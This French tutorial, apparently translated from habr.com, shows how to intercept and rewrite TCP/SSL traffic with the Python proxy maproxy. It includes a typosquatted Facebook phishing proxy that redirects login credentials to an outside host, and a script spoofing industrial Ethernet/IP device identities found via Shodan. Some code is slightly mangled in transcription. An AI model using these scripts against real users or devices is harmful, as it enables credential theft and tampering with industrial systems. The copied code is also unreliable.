La traduction de l'article a été préparée en prévision du lancement du cours .

Résumé
Divers types d'évaluation de la sécurité, allant des tests de pénétration réguliers aux opérations Red Team, en passant par le piratage des dispositifs IoT/ICS et SCADA, impliquent de travailler avec des protocoles réseau binaires, c'est-à-dire, en gros, la capture et la modification des données réseau entre le client et la cible. Le sniffing de trafic réseau n'est pas une tâche compliquée, car nous avons des outils comme Wireshark, Tcpdump ou Scapy, mais la modification s'avère être une tâche plus laborieuse, car il nous faudra une sorte d'interface pour lire les données du réseau, les filtrer, les modifier à la volée et les renvoyer presque en temps réel au hôte cible. De plus, il serait idéal qu'un tel outil puisse automatiquement gérer plusieurs connexions parallèles et ait la possibilité d'être personnalisé via des scripts.
Un jour, j'ai découvert un outil appelé , la documentation m'a rapidement fait comprendre que maproxy – c'est exactement ce dont j'avais besoin. C'est un proxy TCP assez simple, polyvalent et facilement configurable. J'ai testé cet outil sur plusieurs applications assez complexes, y compris des dispositifs ICS (qui génèrent beaucoup de paquets), pour voir s'il pouvait gérer de nombreuses connexions parallèles, et l'outil s'est bien comporté.
Cet article vous familiarisera avec le traitement des données réseau à la volée avec maproxy.
Aperçu
Outil maproxy basé sur Tornado – un framework réseau asynchrone populaire et avancé en Python.
En gros, il peut fonctionner en plusieurs modes :
TCP:TCP– connexions TCP non cryptées ;TCP:SSLetSSL:TCP– avec un chiffrement unidirectionnel ;SSL:SSL– chiffrement bidirectionnel.
Il est fourni sous forme de bibliothèque. Pour un lancement rapide, vous pouvez utiliser des fichiers d'exemples qui reflètent les principales :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
Cas 1 – un proxy bidirectionnel simple
Basé sur tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() Par défaut ProxyServer() prend deux arguments – l'emplacement de la connexion et le port cible. server.listen() prend un argument – le port pour écouter la connexion entrante.
Exécution du script :
# python tcp2tcp.py Pour effectuer le test, nous allons nous connecter au serveur SSH local via notre script proxy, qui écoute sur 2222/tcp port et se connecte au port standard 22/tcp serveurs SSH :

La bannière de bienvenue indique que notre exemple de script a correctement proxyfié le trafic réseau.
Cas 2 - Modification des données
Un autre script de démonstration logging_proxy.py convient parfaitement pour interagir avec les données réseau. Les commentaires dans le fichier décrivent les méthodes de la classe que vous pouvez modifier pour atteindre vos objectifs :

Ce qui est le plus intéressant ici :
on_c2p_done_read– pour intercepter les données en route du client au serveur ;on_p2s_done_read– dans l'autre sens.
Essayons de modifier la bannière SSH que le serveur renvoie au client :
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]Exécutez le script :

Comme vous pouvez le voir, le client a été induit en erreur car pour lui le nom du serveur SSH a été remplacé par « DumnySSH ».

Cas 3 - Page web de phishing simple
Il existe une infinité de cas d'utilisation pour cet outil. Cette fois, concentrons-nous sur quelque chose de plus pratique dans le cadre des opérations Red Team. Imaginons que nous imitions la page de destination m.facebook.com et utilisons un domaine personnalisé avec une faute intentionnelle, par exemple, m.facebok.com. À des fins de démonstration, supposons simplement que le domaine est enregistré à notre nom.
Nous allons établir une connexion réseau non chiffrée avec notre proxy de victimes et un flux SSL pour le serveur Facebook (31.13.81.36). Pour que cet exemple fonctionne, nous devons remplacer l'en-tête HTTP Host et injecter le bon nom d'hôte, et nous désactiverons également la compression des réponses pour un accès facile à leur contenu. Au final, nous remplacerons le formulaire HTML pour que les identifiants de connexion nous soient envoyés, au lieu des serveurs Facebook :
[…]
def on_c2p_done_read(self,data):
# remplacer l'en-tête Host
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# désactiver la compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# remplacement partiel de la réponse
data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]En résumé :

Comme vous pouvez le voir, nous avons réussi à remplacer le site d'origine.
Cas 4 - Perturbation de l'Ethernet/IP
J'ai eu affaire pendant assez longtemps à des dispositifs et à des logiciels industriels (ICS / SCADA), tels que les contrôleurs programmables (PLC), les modules d'entrée-sortie, les moteurs, les relais, les environnements de programmation en échelle et bien d'autres. Ce cas s'adresse à ceux qui aiment les choses industrielles. Le piratage de telles solutions implique un jeu actif avec les protocoles réseau. Dans l'exemple suivant, je voudrais montrer comment vous pouvez modifier le trafic réseau ICS/SCADA.
Pour cela, vous aurez besoin de ce qui suit :
- Un sniffer réseau, comme Wireshark ;
- Un appareil Ethernet/IP ou simplement un appareil SIP, que vous pouvez trouver à l'aide du service Shodan ;
- Notre script basé sur
maproxy.
Pour commencer, voyons à quoi ressemble une réponse d'identification typique du CIP (Common Industrial Protocol) :

L'identification de l'appareil se fait via le protocole Ethernet/IP, qui est une version étendue du protocole Ethernet pour des applications industrielles, il encapsule des protocoles de contrôle tels que le CIP. Nous allons modifier le nom d'identification désigné qui est visible sur la capture d'écran «NI-IndComm for Ethernet» à l'aide de notre script proxy. Nous pourrions réutiliser le script logging_proxy.py et modifier de manière similaire la méthode de classe on_p2s_done_read, car nous voulons qu'un autre nom d'identification soit visible par le client.
Code :
[…]
def on_p2s_done_read(self, data):
# remplacement partiel de la réponse
# Vérification si nous avons reçu la réponse du message List Identity
if data[26:28] == b'x0cx00':
print('Réponse reçue, remplacement')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
En essence, nous avons demandé l'identification de l'appareil deux fois, la seconde réponse étant l'originale et la première ayant été modifiée à la volée.
Et enfin
À mon avis, maproxy c'est un outil pratique et simple, qui est en plus écrit en Python, donc je pense que vous pourriez également en tirer profit. Bien sûr, il existe des outils plus complexes pour traiter et modifier les données réseau, mais ils exigent également plus d'attention et sont généralement créés pour des scénarios d'utilisation spécifiques, par exemple, , ou pour des cas similaires au troisième, ou bien pour le dernier cas. Quoi qu'il en soit, avec maproxy vous pourrez rapidement réaliser vos idées de capture de données réseau, car les exemples de scripts sont très illustratifs.
Source : habr.com
